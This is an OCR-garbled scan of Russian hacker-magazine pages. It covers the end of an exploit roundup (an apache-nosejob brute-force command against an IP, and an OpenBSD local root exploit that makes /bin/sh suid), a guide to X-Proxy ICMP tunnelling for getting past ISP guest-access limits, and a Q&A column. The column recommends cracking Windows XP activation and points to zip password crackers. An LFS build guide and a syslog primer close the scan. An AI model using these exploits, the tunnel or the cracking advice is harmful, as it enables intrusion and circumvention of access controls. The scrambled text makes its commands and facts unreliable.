Тгу 36 Гог орепЬзб/ігееЬзб апб 42 Гог пеіЬзб 
-г # ИитЬег оі іітез іо гереаі геіабб іп іЬе ЬиГГег 
Тгу 6 Гог орепЬзб/ігееЬзб апб 5 Гог пеіЬзб 
Ехатріе: [гооі@ѵѵѵѵѵѵ 2І0]# ./арасЬе-позфЬ -р 

123.123.123.123 -о і 

Запасись терпением, процесс брутания занимает 
приличное количество времени. 

10. В завершение маленький 
ОрепВЗР 3.0 ІосаІ гооГ ехрІоіГ. Запусти 
и дождись следующего запуска /еіс/баііу, после 
этого /Ьіп/зЬ будет с зиіб Ьіі’ом. 

Теперь ты имеешь набор отличных эксплойтов, ко- 
торые могут помочь тебе в получении/повышении 
доступа на удаленном сервере. Но не стоит этим 
постоянно злоупотреблять, ломая все и вся. Так 
можно и дорваться, а потом и по голове 
получить. Поэтому перед взломами сер- 
веров хорошо подумай, а надо ли тебе 
это? Ведь еще есть 272-274 статьи :). 



Ш Ньюсы Г Террум 
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вайдера :). Называется она Х-Ргоху. 
Скачать можно с ѵѵѵѵѵѵ.хакер.ги. 



распаковав архив, в каталоге Ьіп ты уви- 
дишь два конфига и три ехе'шника. Не- 
сложно догадаться, что сііепі.сопі - кон- 
фиг клиента, х-ргоху_с.ехе - сам клиент, 
сопіід.ехе - конфигуратор, а остальное 
относится к серверу. 



"Мам, дай денег на Инет, а?" 
Тебе, случаем, это не знако- 
мо? О-ох, ну естественно, как 
я мог сомневаться :). Так вот, 
вполне возможно, что после 
прочтения этой статьи тебе 
более не придется говорить 
таких слов, одновременно с 
этим делая ангельское лицо и 
невинную улыбку :). Как это 
ни странно, но в осуществле- 
нии цели по добыче халявного 
Инета тебе помогут... сами 
провайдеры. Однако огово- 
рюсь - никакого криминала, 
давления на психику и прочего 
в данном способе нет. Все аб- 
солютно законно и легально. 
Интересно, правда? 



Как все устроено. Для начала тебе пона- 
добится доступ на компьютер с полно- 
ценным доступом в Интернет и 
ѴѴіпсІоѵѵз'ом. Как добыть такой доступ: 
спрашивай друзей, пытайся ломать сай- 
ты, но я не смогу помочь, ты уж извини 
:). Если все присутствует, то дело за ма- 
лым - настроить программу. Работать с 
программой просто: ты устанавливаешь 
на сервере серверную часть Х-Ргоху, а 
клиентскую у себя. Далее следует быст- 
рый процесс конфигурирования и собст- 
венно наслаждение результатами. Прин- 
цип работы данного ІСМР-прокси заклю- 
чается в следующем: клиентская часть 
открывает на прослушивание заданный 
порт, а ты в это время во всех своих 
браузерах и прочих программах выстав- 
ляешь опцию "использовать прокси", 
задав локальный ІР и нужный порт. До- 
пустим, ты используешь ІЕ и хочешь 
зайти на некоторую страничку. Твой бра- 
узер подключается к нашему клиенту, 
говорит ему, какой урл нужно загрузить. 
Клиент, в свою очередь, формирует 
ІСМР-пакет (в заголовок которого пропи- 
сывается команда ІСМР_ЕСНОВЕРІ_Ѵ - 
ответ на пинг), записывает туда запрос 
браузера, а потом отсылает его серверу. 
Сервер, получив этот пакет, читает отту- 
да запрос и уже перенаправляет его на 
другую прокси, но уже не наш, а на 
обычный. Получив ответ от этой прокси, 
сервер сохраняет все полученные дан- 
ные в новый ІСМР-пакет и отправляет 
его клиенту, который, в свою очередь, 
отдает все данные браузеру. И так да- 
лее, пока ІЕ не попросит разорвать со- 
единение. Понимаю, запутанно, зато ра- 
ботает :). В итоге провайдер думает, что 
ты от безысходности решил пропинго- 
вать какого-то бедолагу, а ты - наслаж- 
даешься. Итак, с теорией покончили. 
Перейдем к практике. Добыв Х-Ргоху и 



Конфигурация 



Запускаем сопіід.ехе. Он задает не- 
сколько вопросов. СІіепІ пате - уникаль- 
ное имя, которым ты хочешь обозвать 
свою копию клиента. Вводи любое, но 
не очень длинное. Вегѵег ІР асісігезз - ІР- 
адрес компьютера, на котором установ- 
лена серверная часть Х-Ргоху, Зегѵег 
раззѵѵогсі - пароль к серверу. Изначально 
он - дІоЬаІтіпсі, однако его можно сме- 
нить (для этого нужно перекомпилиро- 
вать сервер, изначально подредактиро- 
вав исходный код). Ргоху ІР асісігезз - ІР- 
адрес прокси-сервера, на который будут 
перенаправляться все запросы (можешь 
поискать на ѵѵшѵ.ѵоісі.ги или где-нибудь 
еще). Ргоху рогі - порт, на котором ви- 
сит прокси. Обычно 8080. Все, конфигу- 
рация завершена. Конфигуратор обно- 
вил файлы *.соп1, и Х-Ргоху готов к ра- 
боте. Теперь проставь в браузере, чтобы 
он использовал проксю. Установи адрес 
хоста ІосаІІюзІ, а порт 8080. 



Кратко о технологии 



Большинство провайдеров предоставля- 
ют на халяву гостевой доступ. Т.е. они 
дают тебе доступ в Интернет, однако 
сильно ограничивают тебя, иногда даже 
позволяют посещать только их собствен- 
ный сайт. Но, как говорится, нет худа 
без добра: иногда случается так, что 
возможность пинговать произвольный 
ІР-адрес остается (провайдер не обру- 
бает ІСМР- пакеты). Вот здесь-то и кро- 
ется их главная ошибка: что нам мешает 
передавать в ІСМР- пакетах свои дан- 
ные? Правильно - ничего :). Возникает 
только одна проблема - техническая ре- 
ализация данной задумки. Однако не 
все так призрачно и туманно, как может 
показаться на первый взгляд: нашлись 
люди, которые напряглись и сделали 
все за нас. Как ты уже, наверное, дога- 
дался, далее пойдет рассказ о некой 
программе, которая поможет нам ис- 
пользовать оплошность админов про- 



Запускаем на удаленной машине х- 
ргоху_з.ехе. Появляется небольшое 
окошко (консоль), в котором отобра- 
жается весь процесс работы сервера. 
При запуске в нем выводится текущее 
время и краткая информация о сер- 
верной части - текущая версия (на 
данный момент - 0.2.2), поддержива- 
емый протокол (0.2) и куча не нужной 
тебе информации. 



А 
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возможны некоторые ошибки при пере 
сылке данных :(. 



последовательно, так 
что если их будет очень 
много (или коннект бу- 
дет довольно слабым), 
возможны небольшие 
сбои =\. От себя добав- 
лю: в результате долгого 
тестирования и отлажи- 
вания был выставлен на- 
иболее оптимальный, по 
мнению автора програм- 
мы, размер буфера. Од- 
нако в результате этого 
скорость передачи дан- 
ных немного упала :(. Не 
стоит также забывать, 
что программа еще до- 
вольно сырая, так что 



Р.5. Как видишь, даже провай- 
деры ошибаются, иногда не по- 
дозревая, как такие люди, как 
мы, могут использовать прома- 
хи . Кстати, я в начале статьи не 
зря употребил " вполне возмож- 
но даже если ты найдешь тако- 
го провайдера (их все-таки мало 
:(), данная система может не 
сработать из-за низкого качест- 
ва связи (иногда очень большое 
число пакетов теряется, а ІСМР 
- это не ТСР, здесь обработки 
ошибок нет). Однако есть на- 
дежда, что в последу - 

П ющих версиях Х-Ргоху 
данная проблема бу- 
дет устранена. Как го- 
ворится - наука требу- 
ет жертв! :). Так что не 
расстраивайся, если 
что-то пошло не так: в 
нашей жизни такое 
сплошь и рядом, и не 
стоит вешать нос. 
Удачи тебе! 



Окно сервера 



Если вдруг при загрузке слу- 
чится ошибка - ты об этом уз- 
наешь первый :). Изначально 
сервер поддерживал работу 
только с одним клиентом, од- 
нако в текущей версии количе- 
ство одновременно обслужива- 
емых пользователей задается 
на этапе компиляции. По 
умолчанию их 50 :]. Однако 
каждый пользователь может 
"подключаться" только к одно- 
му прокси. 

Аналогично с сервером, после 



Если следовать статье, то при помощи Х-Ргоху ты сможешь 
пользоваться только НИР и РТР протоколами. Понятно, что 
такие ограничения неприятны. Появляются мысли: а как же ІСЭ, 
ІРС? А все просто! При настройке Х-Ргоху в серверных 
параметрах поставь, чтобы редирект был не на обычный ргоху, а 
на зоскз. Тогда ты сможешь пользоваться любой программой, 
поддерживающей зоскз, а таких очень много :). 



И еще. Это реализация под ѴѴіп платформу, так что, если ты 
любитель І_Іпіх систем, то зайди на этот сайт: 

М№р://ѵ\ЛААА/.сІеЩсМес1.пе1;/істр1:иппеІ/ 



Клиент 



запуска файла появляется небольшое 
окошко, в котором отображается крат- 
кое информация о клиенте. Сразу же 
после запуска клиент пытается устано 
вить связь с сервером и выводит ин- 
формацию о нем - имя/е-таіі админа 
:), приветствие и количество текущих 
пользователей на сервере. 



Далее локально открывается порт 8080, 
на который ожидаются запросы от брау- 
зеров/мейлеров и других программ. 

При получении такого запроса клиент 
логинится на сервер, посылая ему па- 
роль и свое имя. Если пароль не верен 
(или сервер перегружен) - выводится 
соответствующее сообщение. По мере 
отправки/получения данных в окошке 
клиента будет выводится множество 
бессмысленных для тебя слов. Не пу- 
гайся, это нормально :). Все запросы 
помещаются в буфер и обрабатываются 



Х-Ргоху за работой 








доступа 
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НАСК-РАО 



Задавая вопросы , конкретизируй их : Давай больше данных о системе , 
описывай абсолютно все , что ты знаешь о ней . Это мне поможет 
ответить на твои вопросы и указать твои ошибки . И не стоит задавать 
вопросов вроде “ Как сломать мт-сервер?” или вообще просить у 
меня “ халявного ” Іпіегпеі’а. Я все равно недам, я жадный :) 



''???* Как устано- ' 


1 


1 


/ '???^ Расскажи, псь' 


вить атрибут исполня- 




■ 


жалуйста: что такое 


емости? Я хочу забом- 


1 


1 


логи и как/куда/зачем 


^бить счетчик на сайте^ 


1 


К 


^они ведутся? ^ 



Н: Насколько я понимаю, у тебя на сервере есть 
скрипт, у которого нужно поставить какой-нибудь 
атрибут (в данном случае исполняемости). Но да- 
же если не у тебя на сервере, а у кого-то друго- 
го. В любом случае желателен РТР доступ к ди- 
ректории файлов и права на выполнение коман- 
ды СНМСЮ. Если у тебя эти права есть, то с по- 
мощью любого РТР клиента задача решается 
просто - нужно войти в свойства файла. Чаще 
всего в программе присутствует какая-нибудь 
менюшка типа «Рііе Регтіззіопз» (иногда в скоб- 
ках добавляют СНМСЮ). Выбирай эту команду и 
там уже разберешься. Если ничего подобного не 
нашел, то ищи возможность выполнять свои ко- 
манды (командную строку). Там попробуй напи- 
сать любую из следующих строк: 

СНМСЮ 755 ИмяФайла 
или 

5ІТЕ СНМСЮ 755 ИмяФайла 

Вместо 755 устанавливаешь нужные тебе права. 



Я хотел спро- 
сить, когда голосуешь 
на сайте (максимум 
ведь 1 раз, да?), куда 
записываются данные 
о том, что ты уже сде- 
лал это, если не в ку- 
кис? Или инсра о тебе 
^ остается на сервере? 



Н: Инфа о проголосовавшем может оставаться как 
на сервере, так и на клиенте в виде плюшек, все 
зависит от программера, написавшего скрипт. Ча- 
ще всего в скриптах заложены оба метода, а владе- 
лец сайта сам выбирает нужный способ. Например, 
если на его сайте слишком много умников, которые 
любят накручивать опросы, то он может ограничить 
таких умников по ІР. Тогда с одного ІР можно про- 
голосовать только один раз. На нашем сайте рань- 
ше не было ограничения по ІР, но благодаря частой 
накрутке пришлось привязаться к айпишнику. Как 
только кто-то проголосовал, информация о его ІР 
сразу заносится в специальную базу данных, и по- 
сле этого с этого адреса голосование уже невоз- 
можно, пока не поменяется вопрос. 



Н: Это такие файлики, в которые записывается любая 
активность. Например, серверная ОС может быть на- 
строена на регистрацию любых событий, происходя- 
щих по сети. В этом случае ОС будет писать в логи 
любые попытки коннекта на любой порт сервера. По- 
том админ просматривает логи в поисках попыток 
атаки. Раньше смотрели вручную, а сейчас уже полно 
прог, которые автоматизируют этот процесс. 



Имеет ли 

смысл заглядывать са- 
мому в логи или мож- 
но довериться прогам 
^ анализаторам? , 






Н: Доверяться можно и даже нужно. Анализаторы уме- 
ют вычислять большинство стандартных атак, о кото- 
рых ты даже и не знаешь. Но самому заглядывать ту- 
да тоже не помешало бы, потому что нестандартную 
атаку может определить только меткий глаз хорошего 
админа. И никакая прога-анализатор туг не поможет. 



Чем отлича- 
ется ЫеТВІОЗ от 
. ЫеТВЕІЛ? 






Н: ІМеШІОЗ (ІМеІѵѵогк Вазіс Іприі Оифиі Зузіет) - 
базовая система сетевого ввода вывода. Эта сис- 
тема определяет только программную часть пере- 
дачи данных, т.е. как должна работать программа. 
А вот как будут физически передаваться данные в 
этом документе, не говориться ни слова. 

МеШЕІІІ (ІМеШІОЗ Ехіепбесі ІІзег ІпІегТасе) - был 
разработан на пару лет позже и предназначен 
именно для описания физической части переда- 
чи данных протокола ИеШІОЗ. 

Итак, ІМеШІОЗ - это только программная часть, 
которая может использовать для физической пе- 
редачи данных по сети другой протокол - 
МеШЕІІІ, ТСР/ІР или ІРХ/5РХ. 



На днях приоб-^ 
рел лицензионную 
версию ѴѴіп ХР. Все бы 
хорошо, кроме одного 
- слишком сильно тор- 
мозит. Пришлось об- 
новить комп, после че- 
го ХР перестал гру- 
зиться. Переустановил, 



го ХР перестал гру- 
зиться. Переустановил, 
а повторная активиза- 
ция не проходит. Где 
^ и что надо исправить? ) 



Н: Не советую тебе мучиться, и даже если ты ку- 
пил лицензионную версию ХР, все равно вос- 
пользуйся кряком и не активизируй свою копию 
в М3. Да, да, ты не ошибся, я предлагаю тебе 
крякнуть лицензионную ХР. Ты заплатил деньги 
и можешь делать с компом что угодно. Хотя М3 
утверждала, что после тотального апгрейда по- 
вторная активизация возможна без проблем, на 
практике народ встречается с обратным. Так что 
все мои знакомые, не стесняясь, ставят кряк на 
легальную копию. Мы покупаем рабочую ОС, а 
не геморройную активизацию. Единственное, 
что ты теряешь - поддержку от М3. 



У меня к тебе > 
один вопрос, могут ли 
меня хакнуть, зная мо- 
его провайдера и мес- 
то жительство? И как 
от этого защитится? 

^ (Тігеи/аІІ поставил) > 



Н: У твоего провайдера очень много юзеров, и 
найти среди них именно тебя очень тяжело. 
Нужно знать еще твой ІР, а его невозможно оп- 
ределить по месту жительства. Зная, где ты жи- 
вешь, тебя могут хакнуть только дубинкой по го- 
лове, а от этого ТігеѵѵаІІ не спасет :). Так что по- 
ставь себе железную дверь и надень каску. 

Для защиты компа в сети в основном достаточно 
даже примитивного персонального брандмауера. 
Ну а если ты любитель общественных мест (ча- 
ты, ШС-каналы), то можешь завести ТігеѵѵаІІ по- 
солиднее. В любом случае его достаточно. 

Еще желательно поменьше лазить по незнакомым 
местам и не наезжать (особенно грубо) на других 
обитателей вселенной. Особенно не советую ру- 
гаться матом и посылать незнакомых на три и бо- 
лее букв. Это не только обезопасит тебя, но и по- 
кажет твои культуру и образование. Грубость ни- 
когда не была показателем большого ума! 
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г Когда я кон- 

некчусь с другом по 
гипертерминалу и 
мне посылают срайл, 
модем утверждает, что 
скорость передачи 
-61000 бит /с. Модем 
^ - 56К. В чем дело? 



Н: Во-первых, 56 - это килобит. Если их умножить 
на 1024, то получаем 57344 бит/с, т.е. уже чуть 
больше. Во-вторых, терминал может показывать 
хоть 1 28к, но реальная скорость будет меньше. 
Это связано с тем, что терминалки часто показы- 
вают скорость работы с модемом, а не модема с 
сетью. А скорость работы с модемом определяет- 
ся скоростью порта, куда ты воткнул свой момед. 



Г Как можно оп- > 

ределить, что прога 
создает в процессе ус- 
тановки... и куда она 
^ это все распихивает? > 



Н: Бегом на ЬНр : //ѵѵѵѵѵѵ . зузі піег паіз . сот и качай 
«Ведтоп Тог ѴѴіпсІоѵѵз МТ/9х» и «Рііетоп Ібг 
ѴѴіпсІоѵѵз МТ/9х». Первая из этих программ следит 
за всеми обращениями к реестру, а вторая к фай- 
лам. Если что не разберешь, то могу тебя только 
послать к статье «Методы снятия защиты с шаро- 
варных прог», которая была в X полгода назад. 



Были вот у 
меня ѴѴіп98, потом я 
их просто-напросто 
стер и просто поста- 
вил ѴѴіпХР. Теперь 
при загрузке мне 
предлагается выбор - 
грузить ХР или 98. Как 
от этого можно изба- 
, виться? 






Н: Есть два способа: 

1 . На диске С: есть файл Ьооііпі (он скрыт, поэто- 
му нужно, чтобы у тебя отображались скрытые 
файлы). Открой его и в строчке со словом бтеоиі 
после «равно» поставь 0. 

2. Нажми «Пуск», теперь правой кнопой по «Мой 
компьютер» и в появившемся меню выбирай 
пункт «Свойства». Появится окно «Свойства систе- 
мы». Здесь перейди на закладку «Дополнительно» 
и нажми на кнопку «Параметры» в разделе «За- 
грузка и восстановление». Убери галочку с «Отоб- 
ражать список операционных систем» или введи 
время 0 сек. 



Эти вопросы меня уже 

достали 



Я уже давно создал на своем сайте 
\АААЛА/.сѵсІ50Й.сот/ѵг-опІіпе раздел «Боль- 
шой РАО», где я выкладываю все часто 
задаваемые вопросы и ответы. Прежде 
чем задавать мне вопрос, посмотри, мо- 
жет на сайте уже есть ответ. 

<???> Как можно взломать гір архив, 
на который поставлен на пароль? 

Н: Если ты стырил защищенный паролем 
файл или просто у тебя проблемы с па- 
мятью и не можешь запомнить пароли 
на свои файлы, то запомни хотя бы этот 
адрес: ѵѵѵѵѵѵ. раззѵѵогсіз.ги. Здесь ты най- 
дешь взломщика для разных типов архи- 
ваторов или М5 ОЯісе. 





ТРІСН 



Приветствую Иван Скляров. 

Относительно опубликованного в ХАКЕР'е ѵег 07.02. 
(43), на стр. 85 совета Миши: зачем писать Ьаі- 
файл? (Напомню, Миша перечислил 3 способа, как 
сделать СЭ автоматически открывающий МтІ- 
страницу расположенную на диске - И. С.). Ваі: не 
что иное как командная строка. Поэтому файл 
запуска будет выглядеть так: 

[Аиіогип] 

ІСОЫ=тусІі8к.ісо 
0РЕИ=5ІагІ "іпсІех.ІіІтГ 

и никаких миганий консольных окон! (Замечу, что 
консольное окно все равно мигает, только 
значительно быстрее, чем в способе от Миши, т. к. 
не тратиться время на загрузку Ьаі-файла. На 
быстрых машинах это незаметно, а вот на 
медленных можно ощутить всю прелесть появления 
черного экранчика - И. С.) 

Макег Шетакег@уапёех.ги 
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СОЗДАЕМ СВОЙ ЛИНУКС-ДИСТРИБУТИВ 
© Кирилл Тихонов (ака_8Матап@таіІ.ги) 




СОЗДАЕМ СВОИ ЛИНУКС- 



Привет, многоуважаемый любитель Линукса. Наверняка ты уже давно поставил своего Пингвина и теперь радуешься жизни. 
Но позволь-ка спросить, какой дистрибутив ты используешь? Ответ очевиден: в преобладающем большинстве случаев это 
будет НесІ Наі, Мапсігаке, А8Р, Зи$е, в более редких случаях - йеЫап или ЗІаскѵѵаге. Почти все эти и многие другие 
дистрибутивы, коих в последнее время появилось невиданное множество, объединяет одно общее свойство - в них много 
ненужного лично тебе: большинство программ, идущих в поставке, ты и использовать не будешь. Сегодня я расскажу о том, 
как собрать свой дистрибутив Линукса, заточенный конкретно под свои нужды. А поможет нам в этом проект І.Г8. 




Эта аббревиатура расшифровывается как І_іпих Ргот 
Зіагсб, что есть не что иное, как проект сборки ОС 
Линукс с нуля из исходников. Последняя версия (на 
момент написания статьи - 3.3) с пошаговым руковод- 
ством по установке доступна на сайте ИНр://ѵѵѵѵѵѵ.Ііп- 
ихіготзсгаісб.огд. Тебе следует скачать І_Р8-Ьоок и 



І_РЗ-раскаде5-3.3 (можно качать как одним архивом, 
так и по частям). Система собирается на уже установ- 
ленном Линуксе, в качестве которого подойдет любой 
дистрибутив, главное, чтобы в нем были компилятор 
и необходимые системные утилиты. Сборка І_РЗ помо- 
жет тебе в полной мере разобраться в работе Линукса 
и, что наиболее важно, в том, как настроить его для 
твоих собственных нужд и задач. І_РЗ занимает очень 
мало места, повторю, это связано с тем, что при уста- 
новке с обычного дистрибутива обычно ставятся про- 
граммы, которые ты никогда не будешь использовать 
или очень редко. А І_РЗ нетрудно установить на 1 00 
Мб, что не является пределом: І_РЗ с веб-сервером 
Арасбе, на котором работает ѵмѵѵ.ііпих^готзсгаісіі.огд, 
занимает 8 Мб! В дальнейшем они планируют умень- 
шить размер своего сервера до 5 Мб. Попытайся-ка 
сделать это с Кеб Наі или с Мапсігаке =). 



Приступим 



Как я уже говорил, сборка производится на уже 
имеющемся Линуксе. Для начала надо подготовить 
раздел диска, куда ты будешь устанавливать І_РЗ. 



Рекомендуется отдельная партиция размером 1 СВ. 
Стандартная файловая система Линукс - ех121з, од- 
нако все большую популярность завоевывают т.н. 
журналируемые файловые системы, и для І_Р5 ты 
можешь выбрать любую доступную на сегодняшний 
день. Кстати, сам я использую Веізегіз. 

После этого приступаем непосредственно к сборке, 
которая состоит из 2 этапов. 



Этап первый 



На этом этапе мы должны статичес- 
ки скомпилировать базовые утили- 
ты, необходимые для работы І_РЗ. 
При компиляции программа исполь- 
зует стандартные функции, такие, 
как открытие файла, вывод инфор- 
мации на экран и обеспечение взаи- 
модействия с пользователем. Эти 
функции содержатся в библиотеках. 
Библиотека дІіЬс, которую мы установим позже, од- 
на из главных библиотек, содержащих эти использу- 
емые программами функции. Эти библиотеки очень 
большие, например, ІіЬс.а имеет размер 2,5 мб. 



Вот почему при конфигурировании программ надо 
указывать флаги --епаЫе-зІаІіс-Ііпк, --бізаЫе- 
збагеб и --зіаііс. 

В процессе установки на экране могут появлять- 
ся предупреждения компилятора. На это не нуж- 
но обращать внимания, все идет пучком. В 
большинстве случаев это происходит из-за син- 
таксиса С или С++, т.е. некоторые исходные 
тексты используют старый стандарт этих язы- 
ков, что не критично. Характерная особенность: 
при компиляции программ под рутом могут воз- 
никнуть проблемы. Это связано с тем, что неко- 
торые старые файлы в системе могут быть пе- 
реписаны новыми. Дабы этого избежать, мы бу- 
дем компилировать программы из-под неприви- 
легированного пользователя. Пусть раздел для 
І_РЗ будет подмонтирован в /тпі/ііз. Для начала 
определим переменную І_Р5: 
ехрогі І_РЗ=/тпІ/ІІз 

Теперь самое время создать пользователя Из, 
из-под которого будем непосредственно уста- 
навливать І_Р5: 

изегасісі -з /Ьіп/Ьазб -т Из && 
раззѵѵсі Из 

После создания пользователя изме- 
ним/сменим владельца нашей но- 
вой партиции: 
сбоѵѵп -В Из $І_Р5 
Теперь заходи в систему как Из и 
создавай новый профиль для удоб- 
ной работы: 

саі > -/-Ьазіп ргоТМе « "ЕОР" 
итазк 022 
І_Р5=/тпІ/ІІз 
І_С_АІ_І_=РОЗІХ 
ехрогі І_Р5 І_С_АІ_І_ 

ЕОР 

зоигсе -/-Ьазіп ргоТМе 

Все. Можно начинать установку. 
Первым делом создадим дерево 
каталогов: 

сб $І_РЗ && 

ткбіг -р Ьіп Ьооі беѵ/різ еіс/орі 
боте ІіЬ тпі ргос гооі зЬіп Ітр ѵаг 



ПОЧЕМУ МЫ ИСПОЛЬЗУЕМ СТАТИЧЕСКУЮ КОМПИЛЯЦИЮ? 



При статической компиляции код библиотеки добав- 
ляется к коду программы, существенно увеличивая 
ее размер, но таким образом не нарушается целост- 
ность. Когда же происходит динамическая компиля- 
ция, библиотека хранится в отдельном файле, а про- 
граммы по мере надобности обращаются к нему. В 
результате чего все программы работают с одной ко- 
пией библиотеки и имеют сравнительно меньший 
размер. Но после установки нового корневого ката- 
лога нашей новой системы библиотеки, находящиеся 
в каталогах /ІіЬ, /изг/НЬ, /изг/ІосаІ/МЬ и т.д., будут 
недоступны, поэтому динамически скомпилирован- 
ные программы не будут работать. 



Конечно, устанавливать с дистрибутива удобнее и 
быстрее - на то он и дистрибутив, чтобы работать на 
любой машине. Но при компиляции своей версии 
Линукса, при помощи флагов оптимизации, можно 
добиться повышения производительности в среднем 
на 30%, т.е. практически на треть! 
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■=:Р*де 055> 




Ты давно заглядывал в 
/ѵаг/Іод? Говоришь тама ниче- 
го не понять? Хочу тебе не- 
много помочь, чтоб хоть часть 
логов тебе удавалось понять. 
Так вот, главным системным 
логгером в *піх'ах является 
демон зузіодсі. /еіс/зузіод. 
сопі - файл конфигурации для 
этого демона. Давай рассмот- 
рим его поближе. Правила за- 
даются двумя полями: что пи- 
сать и куда. В свою очередь 
первое поле делится на [тип 
сообщения]. [и его приори- 
тет]. Типов немного: 
аиШ/аиШргіѵ/сгоп/сІаетоп/кег 
п/таіі/пеѵѵз/ииср. Приоритет 
показывает демону, что пи- 
сать, а что отправлять в кос- 
мос. Всего приоритетов во- 
семь, вот они в порядке убы- 



ор{ && 

Тог сіігпате іп $І_РЗ/изг $І_РЗ/и5г/ІосаІ 
сіо 

тксііг $сІігпате 
ссі $с!ігпате 




вания важности: 
етегд - означает, что систе- 
ма почти (или уже :) рухнула; 
аіегі - очень опасная ошибка, 
которую стоит немедленно 
устранить; 

сігі - критическая ошибка, 
проблемы с софтом или же- 
лезом; 

егг - сообщение об ошибке; 
ѵѵагпіпд - обыкновенное пре- 
дупреждение; 
поіісе - уведомление; 
іпіо - сообщение от програм- 
мы пользователю; 
сІеЬид - отладочная инфор- 
мация; 

попе - используется для ис- 
ключения сообщений; 

Второе поле указывает зузіод, 
что ему делать с сообщения- 
ми. Обычно все отсылается 



папку /ѵаг/Іод/ в различные 
файлы (таіі, теззадез, 
зедиге). Давай теперь рассмо- 
трим небольшой примерчик: 
*.іп^о;таіІ.попе;аиШргіѵ.попе; 
сгоп.попе /ѵаг/Іод/теззадез 
получается, что сообщения со 
всех источников равные или 
большие уровня іпіо пишутся 
в файл /ѵаг/Іод/теззадез, 
сообщения от категории таіі, 
аиШргіѵ и сгоп туда не попа- 
дают. С сообщениями от 
аиШргіѵ стоит обращаться ос- 
торожнее, т.е. писать их в не- 
доступный простому смерт- 
ному файл, потому что они 
могут содержать даже пароли 
в открытом виде. 

Ну вот и все, удачи тебе в 
слежке за своим пингвином. 

тіопі тіопі@таіІ.к2 



Этап второй 



На этом этапе мы должны установить одну из самых 
главных библиотек - дІіЬс, и после этого уже дина- 
мически перекомпилить уже установленные про- 



тксііг Ьіп еіс іпсіисіе ІіЬ зЬіп зИаге зге 
Іп -з зЬаге/тап 
Іп -з зЬаге/бос 
Іп -з зЬаге/іпй) 
ссі $бігпате/зЬаге 

тксііг біеі бос іпТо Іосаіе тап піз тізс Іегтіпй) юпе- 
іпй) 

сб $бітате/зЬаге/тап 
ткбіг тап{1,2,3,4,5,6,7,8} 
бопе && 
сб $І_Р5/ѵаг && 

ткбіг -р Іоск Іод таіі гип зрооі Ьпр орі сасЬе ІіЬ/тізс 
ІосаІ && 
сб $І_РЗ/орІ && 

ткбіг Ьіп бос іпсіибе іпТо ІіЬ тап && 
сб $І_Р5/изг && 

Іп -з ../ѵаг/ітр 

Теперь самое время установить ЬазЬ. Сначала надо 
проверить, есть ли у тебя файлы /изг/І і Ь/І і Ьси гзез . а 
и /изг/І і Ь/І іЬпси гзез. а. Если отсутствуют оба файла, 
тебе нужно установить пакет с названием псигзез- 
беѵ. Если этот пакет установлен или после установ- 
ки, проверь еще раз наличие файлов. Если файл 
ІіЬсигзез.а отсутствует, то надо создать ссылку: 
сб /изг/ІіЬ && 

Іп -з ІіЬпсигзез.а ІіЬсигзез.а 

После этого можно устанавливать ЬазЬ: 

./сопТідиге -епаЫе-зМіс-Ііпк - - ргеТіх=$ ЬРЗ/изг - 

Ьіпбіг=$І_РЗ/Ьіп -ѵѵіІЬ-сигзез && 

таке && 

таке іпзіаіі && 

сб $І_Р5/Ьіп && 

Іп -з{ ЬазЬ зЬ 

Точно таким же образом устанавливаются и осталь- 
ные программы: ЬіпиЫз, Ьіір2, біШіІз, ІіІеиЫз, 
даѵѵк, дсс, дгер, дгір, Ііпих кегпеі, таке, раІсЬ, зеб, 
зЬ-иЫз, Іаг, ІехіпТо, ІехМіІз. Инструкции по установ- 
ке всего этого есть в ЬРЗ-Ьоок. 

После этого создаем файлы раззѵѵб и дгоир, монти- 
руем файловую систему ргос. 

Все. Первый этап установки закончен. 



граммы и добавить некоторые новые. Для начала 

создадим профиль рута: 

саі > $1_Р5/гоо1/.ЬазЬ_ргоЫе « "ЕОР" 

# Ведіп /гооѴ-ЬазЬ ргоЫе 
Р31='\и:\ѵѵ\$ ' 

РАТН =/Ьі п : /изг/Ьіп :/зЬі п : /изг/зЬі п 
ехроП Р31 РАТН 

# Епб /гооѴ-ЬазЬ ргоІіІе 
ЕОР 

Теперь самое время залогиниться в нашу новую си- 
стему: 

сб $І_РЗ && 

сЬгооі $І_РЗ /изг/Ьіп/епѵ -і НОМЕ=/гооі \ 
ТЕВМ=$ТЕВМ /Ьіп/ЬазЬ -Іодіп 

Теперь в строке приглашения вместо имени стоит "I 
Ьаѵе по пате!". Это нормально, просто мы еще не 
установили дІіЬс. После этого меняем владельца 
всей нашей ЬРЗ-партиции на рута: 

сб/&& 

сЬоѵѵп 0.0 . ргос && 

сЬоѵѵп -В 0.0 Ьіп Ьооі беѵ еіе Ьоте ІіЬ тпі орі гооі 
зЬіп Ітр изг ѵаг 

Мы используем 0.0 вместо гооігооі, так как мы еще 
не установили дІіЬс. Устанавливаем дІіЬс: 
ткпоб -т 0666 /беѵ/пиІІ с 1 3 && 

ІоисЬ /еіс/іб.зо.сопі && 
ср таІІос/МакеЫе таІІос/МакейІе.Ьаскир && 
зеб '5%\$(РЕВІ)%/и5г/Ьіп/регІ%' 
таІІос/МакеЫе.Ьаскир > таІІос/МакеІіІе && 
ср Іодіп/МакеТМе Іодіп/МакеТМе.Ьаскир && 
зеб ’з/гооѴО/' Іодіп/МакеТіІе.Ьаскир > Іодіп/Макейіе 
&& 

ткбіг ../дІіЬс-ЬиіІб && 
сб ../дІіЬс-ЬиіІб && 

. ./дМЬс-2.2.5/сопТідиге -рге!іх=/изг -епаЫе-абб-опз 

- - 1 і Ьехесб і г=/изг/Ьі п && 

есЬо "сгозз-сотріііпд = по" > сопйдрагтз && 

таке && 

таке іпзіаіі && 

таке Іосаіебаіа/і пзіаі I - Іосаіез && 
ехес /Ьіп/ЬазЬ -Іодіп 



После этого в строке приглашения появляется за- 
ветное гооі, и мы можем динамически перекомпи- 
лить уже установленные программы и некоторые 
новые: іпзіаіі-іод, такебеѵ, тап-радез, ЬпбиЫз, 
даѵѵк, псигзез, ѵіт, дсс, Ьізоп, Іезз, дгоТС, тап, регі, 
т4, іехіпіо, аиіосопі, аиіотаке, ЬазЬ, Дех, Іііе, 

ІіМооІ, Ьіп86, ЬіпиЫз, Ьіір2, еб, дейехі, кЬб, біШіІз, 
е21зргодз, йіеиіііз, дгер, дгір, Іііо, таке, тобиіііз, 
пеМЬазе, раІсЬ, ргосіпіо, ргоерз, рзтізс, геізегТ- 
зргодз, зеб, зЬ-иЫз, пеі-іооіз, зЬабоѵѵ, зузкіодб, 
зузѵіпй, Іаг, ІехМіІз, иііі-ііпих, Кз-Ьооізсгіріз. 
